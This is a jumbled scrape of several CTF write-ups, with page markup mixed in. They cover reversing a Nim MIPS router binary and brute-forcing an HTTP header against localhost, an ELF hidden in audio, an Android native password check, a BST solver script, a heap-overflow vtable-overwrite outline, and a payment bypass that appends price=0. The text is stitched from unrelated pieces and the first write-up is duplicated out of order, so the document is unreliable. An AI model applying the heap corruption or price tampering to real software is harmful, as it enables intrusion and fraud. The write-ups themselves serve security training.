curl/7.43.0> Accept: */*>< HTTP/1.1 403 Forbidden< Content-Length: 13<* Connection #0 to host localhost left intactAccess Denied<h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Identifying the programming language</h3>By Googling strings contained in the binary such as "SIGSEGV: Illegal storage access. (Attempt to read from nil?)" or "asynchttpserver.processClient", we find the program was originally written in the Nim programming language.<h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Generating FLIRT signatures</h3>Nim translates the program to C before compiling, which is good news since we are essentially dealing with <em>C on steroids</em>, adopting e.g. the usual C calling convention. The Nim standard library is statically linked into the executable, which means IDA Pro's FLIRT signatures might save us a lot of time.We start with a <em>hello world</em> web server in Nim which mimics the behavior we have seen until now from the binary being analyzed:import asynchttpserver, asyncdispatchvar server = newAsyncHttpServer()proc cb(req: Request) {.async.} = await req.respond(Http403, "Access Denied")waitFor server.serve(Port(8080), cb)Now we compile this file with Nim, assemble a static library file from the objects (*.o) generated in the nimcache directory, and use it to generate a FLIRT signature. As the analysis proceed, we can insert more code to call other standard library procedures in order to get them included in the FLIRT signature.The FLIRT signature file is intended to be copied to the sig/mips directory inside the IDA Pro installation.<h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Static analysis with IDA Pro</h3>After opening the binary in IDA Pro, the FLIRT signature can be loaded using the File → Load file → FLIRT signature file... menu. Just select the nimstdlib signature and it will be applied.Now, it would be a nightmare to get to the request handler by following the code from the main function onwards, because this program is written using Nim's asynchronous procedures, for which the compiler generates FSMs and lots of indirection.But we are lucky because we can look for cross-references to strings, such as the "Access Denied" which the program replies as an answer to our requests. However, we need to remember that the Nim string type extends TGenericSeq (defined below), so before the ASCII characters, there are 8 bytes containing the string length repeated twice (well, strictly speaking, reserved can contain a number bigger than len).TGenericSeq struc # (sizeof=0x8, mappedto_1).len: .word ?reserved: .word ?TGenericSeq endsSo the "Access Denied" string is represented as follows:.rodata:00415DE0 sAccessDenied: TGenericSeq <0xD, 0xD> # DATA XREF: sub_413D20+240↑o.rodata:00415DE8 aAccessDenied: .ascii "Access Denied"<0>Following its cross-reference we get to a very interesting function:Above, the nsthasKey and nstTake references were not detected by our original FLIRT signature, but if we look at the nstTake function, it contains a reference to the "key not found: " string. Grepping through Nim standard library code, we see it is used by a template whose purpose is to get values from string tables. After adding some pointless strtab manipulation to nimstdlib.nim, we finally get these included in the FLIRT signature.Before we go further on, first a MIPS calling convention crash course:Before the call, $a0, $a1, $a2, ... contain the arguments to a function.After the call, $v0 contains the returned value.Besides, always remember that MIPS has a branch delay slot, so the instruction just after a branch or jump is always executed, before the jump is effectively taken.By analyzing the flow, we can see that some action happens when the branch beqz $v0, loc_413F48 is not taken. For the execution flow to get there at the first place, the string table at the 0xC($v0) address needs to contain a "Return" key (call to nsthasKey). The value corresponding to this key is taken from the string table (call to nstTake). It is then converted to lower case (call to nsuToLowerStr), and only the first 3 chars are copied from it (call to copyStrLast, to which the second and third arguments are 0 and 2).In order to understand the beqz $v0, loc_413F48 branch, we need to analyze sub_413CA4 and sub_40AF88. It turns out that sub_413CA4 is easy — it is equivalent to issuing the sw $a1, 0($a0) instruction (look the code at 0x00413D0C), after doing some garbage collector bookkeeping. Thus we see that sub_40AF88 receives as its first argument the substring returned by copyStrLast, and some table contained in unk_415E2C as its second argument.Above we have the sub_40AF88 disassembly graph. The function receives a string str as the first argument, and a bitmap tbl as the second argument. It consists of a loop which iterates over the string chars and returns true (1) only if no char is found to be outside the bitmap. In order to lookup a char in the bitmap, its value is divided by 8 (srl $a3, char, 3). Then the division remainder (andi char, 7) is used to look at a specific bit (srlv leastsig, $a3, leastsig) of this 8-bit value.Analyzing the bitmap located at unk_415E2C, we see that it contains the chars '0'..'9', 'A'..'F' and 'a'..'f', i.e. hex digits.Summing all up, the string we are looking for has at most 3 chars, and consists of lowercase hex digits.<h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Modeling the string table in IDA Pro</h3>By looking at the nimcache/stdlib_strtabs.c file inside a Nim project, we can find how the structure is supposed to appear in memory:struct TNimObject {TNimType* m_type;};struct Stringtableobj140209 { TNimObject Sup;NI counter;Keyvaluepairseq140207* data;NU8 mode;};struct Keyvaluepairseq140207 { TGenericSeq Sup; Keyvaluepair140205 data[SEQ_DECL_SIZE];};struct Keyvaluepair140205 {NimStringDesc* Field0;NimStringDesc* Field1;};Let us map that to a bunch IDA Pro structures:Stringtable struc # (sizeof=0xD, mappedto_2)m_type_ptr: .word ?counter: .word ?keyvaluepairseq_ptr:.word ?mode: .byte ?Stringtable ends
Category: ReversePoints: 100Solves: 0Description:
We have found this suspect binary in one of the SKY project routers.We suspect that the Club installs this binary to mark the enemy networksintruded by them, and that hidden information exists inside the binarywhich can be obtained via network. Find which information is that.
Beware that old versions of qemu have a bug which prevent this binary from being emulated correctly. We recommend emulating it in qemu-user >= 2.3.0 or running it in a real router.
The admpanel file is a MIPS binary which runs in OpenWRT routers, as you might suspect from the problem statement and also from inspecting the toolchain used to compile it:
The binary can thus be run using the qemu-user emulator for the MIPS architecture, which allows a debugger to be attached using the GDB protocol. The debugger might be GDB itself or even IDA Pro, which supports the GDB protocol.
But before running the binary, we need to get the OpenWRT system libraries. We might as well download the entire SDK. Looking at the GCC version string, it is easy to find the correct SDK in the OpenWRT downloads page.
Once the SDK is extracted, you can setup the directory used by qemu to look for libraries by typing:
After that, the binary can be run by calling:
If you want qemu to wait for a debugger to be attached before running the binary, use the -g command line option, passing the port on which the debugger will listen:
From the problem statement, we know hidden information exists inside the binary which can be obtained via network. Therefore we first check to see if the process is listening at any port:
By looking at strings such as "HTTP/1.1", "200 OK", "Content-Length: ", "asynchttpserver.processClient" and many others which exist in the binary, one can easily guess this is a HTTP server. So let us see if we can get it to answer a HTTP request:
By Googling strings contained in the binary such as "SIGSEGV: Illegal storage access. (Attempt to read from nil?)" or "asynchttpserver.processClient", we find the program was originally written in the Nim programming language.
Nim translates the program to C before compiling, which is good news since we are essentially dealing with <em>C on steroids</em>, adopting e.g. the usual C calling convention. The Nim standard library is statically linked into the executable, which means IDA Pro's FLIRT signatures might save us a lot of time.
We start with a <em>hello world</em> web server in Nim which mimics the behavior we have seen until now from the binary being analyzed:
Now we compile this file with Nim, assemble a static library file from the objects (*.o) generated in the nimcache directory, and use it to generate a FLIRT signature. As the analysis proceed, we can insert more code to call other standard library procedures in order to get them included in the FLIRT signature.
The FLIRT signature file is intended to be copied to the sig/mips directory inside the IDA Pro installation.
After opening the binary in IDA Pro, the FLIRT signature can be loaded using the File → Load file → FLIRT signature file... menu. Just select the nimstdlib signature and it will be applied.
Now, it would be a nightmare to get to the request handler by following the code from the main function onwards, because this program is written using Nim's asynchronous procedures, for which the compiler generates FSMs and lots of indirection.
But we are lucky because we can look for cross-references to strings, such as the "Access Denied" which the program replies as an answer to our requests. However, we need to remember that the Nim string type extends TGenericSeq (defined below), so before the ASCII characters, there are 8 bytes containing the string length repeated twice (well, strictly speaking, reserved can contain a number bigger than len).
So the "Access Denied" string is represented as follows:
Following its cross-reference we get to a very interesting function:
Above, the nsthasKey and nstTake references were not detected by our original FLIRT signature, but if we look at the nstTake function, it contains a reference to the "key not found: " string. Grepping through Nim standard library code, we see it is used by a template whose purpose is to get values from string tables. After adding some pointless strtab manipulation to nimstdlib.nim, we finally get these included in the FLIRT signature.
Before we go further on, first a MIPS calling convention crash course:
Before the call, $a0, $a1, $a2, ... contain the arguments to a function.
After the call, $v0 contains the returned value.
Besides, always remember that MIPS has a branch delay slot, so the instruction just after a branch or jump is always executed, before the jump is effectively taken.
By analyzing the flow, we can see that some action happens when the branch beqz $v0, loc_413F48 is not taken. For the execution flow to get there at the first place, the string table at the 0xC($v0) address needs to contain a "Return" key (call to nsthasKey). The value corresponding to this key is taken from the string table (call to nstTake). It is then converted to lower case (call to nsuToLowerStr), and only the first 3 chars are copied from it (call to copyStrLast, to which the second and third arguments are 0 and 2).
In order to understand the beqz $v0, loc_413F48 branch, we need to analyze sub_413CA4 and sub_40AF88. It turns out that sub_413CA4 is easy — it is equivalent to issuing the sw $a1, 0($a0) instruction (look the code at 0x00413D0C), after doing some garbage collector bookkeeping. Thus we see that sub_40AF88 receives as its first argument the substring returned by copyStrLast, and some table contained in unk_415E2C as its second argument.
Above we have the sub_40AF88 disassembly graph. The function receives a string str as the first argument, and a bitmap tbl as the second argument. It consists of a loop which iterates over the string chars and returns true (1) only if no char is found to be outside the bitmap. In order to lookup a char in the bitmap, its value is divided by 8 (srl $a3, char, 3). Then the division remainder (andi char, 7) is used to look at a specific bit (srlv leastsig, $a3, leastsig) of this 8-bit value.
Analyzing the bitmap located at unk_415E2C, we see that it contains the chars '0'..'9', 'A'..'F' and 'a'..'f', i.e. hex digits.
Summing all up, the string we are looking for has at most 3 chars, and consists of lowercase hex digits.
By looking at the nimcache/stdlib_strtabs.c file inside a Nim project, we can find how the structure is supposed to appear in memory:
Let us map that to a bunch IDA Pro structures:
# ---------------------------------------------------------------------------
Keyvaluepairseq struc # (sizeof=0x208, mappedto_3)sup: TGenericSeq ?data: Keyvaluepair 64 dup(?)Keyvaluepairseq ends
# ---------------------------------------------------------------------------
Keyvaluepair struc # (sizeof=0x8, mappedto_4) # XREF: Keyvaluepairseq/rkey_ptr: .word ?value_ptr: .word ?Keyvaluepair ends<h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Debugging with IDA Pro</h3>Of course we could read asynchttpserver docs and find out that the only string table you could get from the request which would make any sense consists of the HTTP request headers, a hypothesis which, by the way, can be promptly tested by running curl -H 'Return: 123' -v http://localhost:8080/.But debugging is endless joy, so now let us call the executable passing -g 1234 as argument to qemu-mips and fire the IDA Pro debugger.Setting a breakpoint at 0x00413D74 (jal nsthasKey), we can inspect the memory location referenced by $a0, which should contain a string table. If we run curl http://localhost:8080/, we trigger the breakpoint.Now we navigate the memory, starting from the address referenced by $a0, and always typing Alt+Q when we find something which should be represented as one of our structures:So yes, the string table contains HTTP request headers.<h3><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Finding the string</h3>Until now, we know we need to pass 3 lowercase hex digits as the Return header to the server. But which 3 lowercase hex digits?If we pass some incorrect string, we get garbage back in the answer's Return header:$ curl -H 'Return: 123' -v http://localhost:8080/* Trying 127.0.0.1...* Connected to localhost (127.0.0.1) port 8080 (#0)> GET / HTTP/1.1> Host: localhost:8080> User-Agent: curl/7.43.0> Accept: */*> return: 123>< HTTP/1.1 403 Forbidden< Return: {{some seemingly random garbage}}< Content-Length: 13<* Connection #0 to host localhost left intactAccess DeniedWe might try to understand the rest of the code, but the search space is so small that we might rather just bruteforce the string.In one terminal, we start the emulator (without enabling the debugger). In other terminal, we call the bruteforce.py script. After 3 seconds, the flag should be found:$ ./bruteforce.pykey: f21flag: CTF-BR{naVcO_you_found_it_PQZ0a}<h2><svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg>Other write-ups and resources</h2>Challenge source code</article> </div>
Of course we could read asynchttpserver docs and find out that the only string table you could get from the request which would make any sense consists of the HTTP request headers, a hypothesis which, by the way, can be promptly tested by running curl -H 'Return: 123' -v http://localhost:8080/.
But debugging is endless joy, so now let us call the executable passing -g 1234 as argument to qemu-mips and fire the IDA Pro debugger.
Setting a breakpoint at 0x00413D74 (jal nsthasKey), we can inspect the memory location referenced by $a0, which should contain a string table. If we run curl http://localhost:8080/, we trigger the breakpoint.
Now we navigate the memory, starting from the address referenced by $a0, and always typing Alt+Q when we find something which should be represented as one of our structures:
So yes, the string table contains HTTP request headers.
Until now, we know we need to pass 3 lowercase hex digits as the Return header to the server. But which 3 lowercase hex digits?
If we pass some incorrect string, we get garbage back in the answer's Return header:
We might try to understand the rest of the code, but the search space is so small that we might rather just bruteforce the string.
In one terminal, we start the emulator (without enabling the debugger). In other terminal, we call the bruteforce.py script. After 3 seconds, the flag should be found:
</div>
<details class="details-reset details-overlay details-overlay-dark"> <summary data-hotkey="l" aria-label="Jump to line"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast linejump" aria-label="Jump to line"> </option></form><form class="js-jump-to-line-form Box-body d-flex" action="" accept-charset="UTF-8" method="get"> <input class="form-control flex-auto mr-3 linejump-input js-jump-to-line-field" type="text" placeholder="Jump to line…" aria-label="Jump to line" autofocus> <button type="submit" class="btn" data-close-dialog>Go</button></form> </details-dialog> </details>
<div class="Popover anim-scale-in js-tagsearch-popover" hidden data-tagsearch-url="/epicleet/write-ups-2016/find-symbols" data-tagsearch-ref="pwn2win-ctf-2016" data-tagsearch-path="pwn2win-ctf-2016/reverse/suspect-router-100/README.md" data-tagsearch-lang="Markdown" data-hydro-click="{"event_type":"code_navigation.click_on_symbol","payload":{"action":"click_on_symbol","repository_id":54845624,"ref":"pwn2win-ctf-2016","language":"Markdown","originating_url":"https://github.com/epicleet/write-ups-2016/blob/pwn2win-ctf-2016/pwn2win-ctf-2016/reverse/suspect-router-100/README.md","user_id":null}}" data-hydro-click-hmac="297abef5f6be1f0dc5990ea995af5d5ec298fb0f9738669cca4057ee0dc13a66"> <div class="Popover-message Popover-message--large Popover-message--top-left TagsearchPopover mt-1 mb-4 mx-auto Box box-shadow-large"> <div class="TagsearchPopover-content js-tagsearch-popover-content overflow-auto" style="will-change:transform;"> </div> </div></div>
</div></div>
</main> </div>
</div>
<div class="footer container-lg width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 text-gray border-top border-gray-light "> © 2020 GitHub, Inc. Terms Privacy Security Status Help
<svg height="24" class="octicon octicon-mark-github" viewBox="0 0 16 16" version="1.1" width="24" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div>
<div id="ajax-error-message" class="ajax-error-message flash flash-error"> <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 000 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 00.01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> You can’t perform that action at this time. </div>
<script crossorigin="anonymous" async="async" integrity="sha512-WcQmT2vhcClFVOaaAJV/M+HqsJ2Gq/myvl6F3gCVBxykazXTs+i5fvxncSXwyG1CSfcrqmLFw/R/bmFYzprX2A==" type="application/javascript" id="js-conditional-compat" data-src="https://github.githubassets.com/assets/compat-bootstrap-59c4264f.js"></script> <script crossorigin="anonymous" integrity="sha512-6XBdUZGib4aqdruJTnLMOLpIh0VJsGlgQ7M3vndWJIH6YQNv+zqpo1TbCDzjHJ+YYEm4xkEinaY0VsemDUfi9A==" type="application/javascript" src="https://github.githubassets.com/assets/environment-bootstrap-e9705d51.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-EDN3kiqMVKpDXq6euD9tcIPeh3xqtWzCcm8mqqLAZOkXwdMo0hSA8Bfg0NqZ8c2n51yU4SlSal3hqgdrus+M2A==" type="application/javascript" src="https://github.githubassets.com/assets/vendor-10337792.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-CcKFBqQZKOCZU5otP6R8GH2k+iJ3zC9r2z2Iakfs/Bo9/ptHy6JIWQN3FPhVuS3CR+Q/CkEOSfg+WJfoq3YMxQ==" type="application/javascript" src="https://github.githubassets.com/assets/frameworks-09c28506.js"></script> <script crossorigin="anonymous" async="async" integrity="sha512-7Evx/cY3o6cyoeTQc+OX5n6X4k+wTJkQnAyjtmpge6F3Hgw511TPF+N0BFvn3IZLaQro6kyC/f0dqhklyssNow==" type="application/javascript" src="https://github.githubassets.com/assets/github-bootstrap-ec4bf1fd.js"></script> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg class="octicon octicon-alert" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M8.893 1.5c-.183-.31-.52-.5-.887-.5s-.703.19-.886.5L.138 13.499a.98.98 0 000 1.001c.193.31.53.501.886.501h13.964c.367 0 .704-.19.877-.5a1.03 1.03 0 00.01-1.002L8.893 1.5zm.133 11.497H6.987v-2.003h2.039v2.003zm0-3.004H6.987V5.987h2.039v4.006z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default text-gray-dark hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg class="octicon octicon-x" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M7.48 8l3.75 3.75-1.48 1.48L6 9.48l-3.75 3.75-1.48-1.48L4.52 8 .77 4.25l1.48-1.48L6 6.52l3.75-3.75 1.48 1.48L7.48 8z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box box-shadow-large" style="width:360px;"> </div></div>
<div aria-live="polite" class="js-global-screen-reader-notice sr-only"></div>
</body></html>
|
At first I thought this was a DSP problem. It wasn't. The solution was much simpler.
To start, I listened to the entirety of the song. It's not quite everyone's favorite genre, but I rather enjoyed it. I noticed a short burst of static at the beginning. Static typically means data, but I figured I'd look for other patterns.
Some GNU Radio later showed that there were no obvious patterns in the spectra of the signal or in the relation of the right and left channels.
Initially, I incorrectly converted the file to a raw type. In the converted file, there was obviously some data at the very beginning in the burst of static, but it wasn't readable as anything.
I re-did the conversion to raw and looked again. The static was an ELF for linux x86_64. Thinking it couldn't be that easy, I threw it into IDA. It's a binary that grabs samples from the raw audio and prints the samples out as characters.
```duck:~$ sox lily.flac lily.rawduck:~$ chmod +x lily.rawduck:~$ ./lily.rawBKPCTF{hype for a Merzbow/FSF collab album??}```
|
1. create 3 unit
2. free #2
3. free #1
4. create unit with name length 24 will overwrite one byte of freed heap chunk size
5, create 2 unit will overwrite last unit's vtable |
# Code90 - Dark Forest
## Description
Someone pre-ordered a forest and now I'm lost in it. There are a lot of binary trees in front and behind of me. Some are smaller or equal-sized than others. Can you help me to invert the path and find out of the forest? Hint: It's about (inverted) BSTs. Don't forget the spaces.
## Solution
This challenge was baset on Binary Search Trees.We were given multiple list of numbers that we had to put in binary search trees.Then we had to traverse the tree in postorder before reversing the resulting list.
The following Python code got us the flag.
```pythonimport reimport socketimport string
class tree(object): data = None left = None right = None count = 1
def postorder(tree): data = []
def recurse(node): if not node: return recurse(node.left) recurse(node.right) for i in range(node.count): data.append(node.data)
recurse(tree) return data
def get_tree(inline): t = tree() t1 = t
for i in inline: t = t1 while 1: if t.data is None: t.data = i break else: if i <= t.data: if t.left is None: t.left = tree() t = t.left elif t.data < i: if t.right is None: t.right = tree() t = t.right else: t.count += 1 break
return postorder(t1)
HOST = '188.166.133.53'PORT = 11491 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((HOST, PORT))
data = s.recv(1024)
i = 0
while(data): print data
if i == 0: m = re.search('\[(.*)\]', data) if m: s.send(m.group(0)) i += 1 else: m = re.search('\[(.*)\]', data) if m: nbr = m.group(1).split(',') # print nbr nbr = [int(i) for i in nbr] # print nbr nbr = [str(i) for i in reversed(get_tree(nbr))] nbr = '['+', '.join(nbr)+']' print nbr s.send(nbr) data = s.recv(1024)
s.close()
``` |
## Android (Reverse, 100p)
> Find the Flag!!> [Download](Sharif_CTF.apk)
###ENG[PL](#pl-version)
We download android application given to us by challenge creators.First think we do is packing it into java decompiler (http://www.javadecompilers.com/apk).
Most of code is boring and uninteresting, but one of functions is clearly more interesting:
```javapublic void onClick(View view) { String str = new String(" "); str = this.f5a.f1b.getText().toString(); Log.v("EditText", this.f5a.f1b.getText().toString()); String str2 = new String(""); int processObjectArrayFromNative = this.f5a.processObjectArrayFromNative(str); int IsCorrect = this.f5a.IsCorrect(str); str = new StringBuilder(String.valueOf(this.f5a.f3d + processObjectArrayFromNative)).append(" ").toString(); try { MessageDigest instance = MessageDigest.getInstance("MD5"); instance.update(str.getBytes()); byte[] digest = instance.digest(); StringBuffer stringBuffer = new StringBuffer(); for (byte b : digest) { stringBuffer.append(Integer.toString((b & 255) + 256, 16).substring(1)); } if (IsCorrect == 1 && this.f5a.f4e != "unknown") { this.f5a.f2c.setText("Sharif_CTF(" + stringBuffer.toString() + ")"); } if (IsCorrect == 1 && this.f5a.f4e == "unknown") { this.f5a.f2c.setText("Just keep Trying :-)"); } if (IsCorrect == 0) { this.f5a.f2c.setText("Just keep Trying :-)"); } } catch (NoSuchAlgorithmException e) { e.printStackTrace(); }}```
As you can see, this function gets text from button and uses "IsCorrect" method to check input validity. If input is valid, flag is given to the user.
Fortunately, IsCorrect is native function, so we have to disassemble ARM library to get our hands on the flag.
[libadnjni.so](libadnjni.so)
Function IsCorrect is very long, but most of it is not important. In fact, everything it does is calling strcmp on constant input.To be precise, input from user is compared to hardcoded string 'ef57f3fe3cf603c03890ee588878c0ec'.
It's enough to enter this string into application as password and we get the flag.
###PL version
Pobieramy androidową aplikację którą dają nam twórcy zadania. Pierwsze co robimy, to pakujemy ją do dekompilera javy (http://www.javadecompilers.com/apk).
Wiekszość kodu to jak zwykle śmieci, ale znajdujemy jedną ciekawą funkcję:
```javapublic void onClick(View view) { String str = new String(" "); str = this.f5a.f1b.getText().toString(); Log.v("EditText", this.f5a.f1b.getText().toString()); String str2 = new String(""); int processObjectArrayFromNative = this.f5a.processObjectArrayFromNative(str); int IsCorrect = this.f5a.IsCorrect(str); str = new StringBuilder(String.valueOf(this.f5a.f3d + processObjectArrayFromNative)).append(" ").toString(); try { MessageDigest instance = MessageDigest.getInstance("MD5"); instance.update(str.getBytes()); byte[] digest = instance.digest(); StringBuffer stringBuffer = new StringBuffer(); for (byte b : digest) { stringBuffer.append(Integer.toString((b & 255) + 256, 16).substring(1)); } if (IsCorrect == 1 && this.f5a.f4e != "unknown") { this.f5a.f2c.setText("Sharif_CTF(" + stringBuffer.toString() + ")"); } if (IsCorrect == 1 && this.f5a.f4e == "unknown") { this.f5a.f2c.setText("Just keep Trying :-)"); } if (IsCorrect == 0) { this.f5a.f2c.setText("Just keep Trying :-)"); } } catch (NoSuchAlgorithmException e) { e.printStackTrace(); }}```
Jak widać, jest jest na czymś wywoływana funkcja IsCorrect, i jeśli wywołanie zakończy sie sukcesem, flaga jest przekazywana użytkownikowi.
Niestety (albo na szczęście), IsCorrect jest funkcją natywną, więc żeby ją przeanalizować musimy disasemblować ARMową bibliotekę
[libadnjni.so](libadnjni.so)
Funkcja IsCorrect zawiera bardzo dużo kodu, ale większośc jest niepotrzebna. Tak naprawdę wywołuje tylko strcmp ze stałym napisem.Konkretnie input użytkownika jest porównywany z 'ef57f3fe3cf603c03890ee588878c0ec'.
Wystarczy wprowadzić tą wartość w aplikacji androidowej, i dostajemy flagę. 100 punktów do przodu. |
## zerodaystore (misc, 200) tldr; Add &price=0 to the end of the /pay request
[server.py](server.py.8c15b34d5e32243f5ed38c1b055bfd6f)[zerodaystore.apk](zerodaystore.apk.7869c5b00cdf037273e39572fb1affdb)
We start off by decompiling the apk file using [javadecompilers](http://www.javadecompilers.com/apk). The code is pretty straight-forward, we can purchase 0dayexploits with our money.
There is one problem though, we have no money and 0days are expensive! There are 2 solutions though.
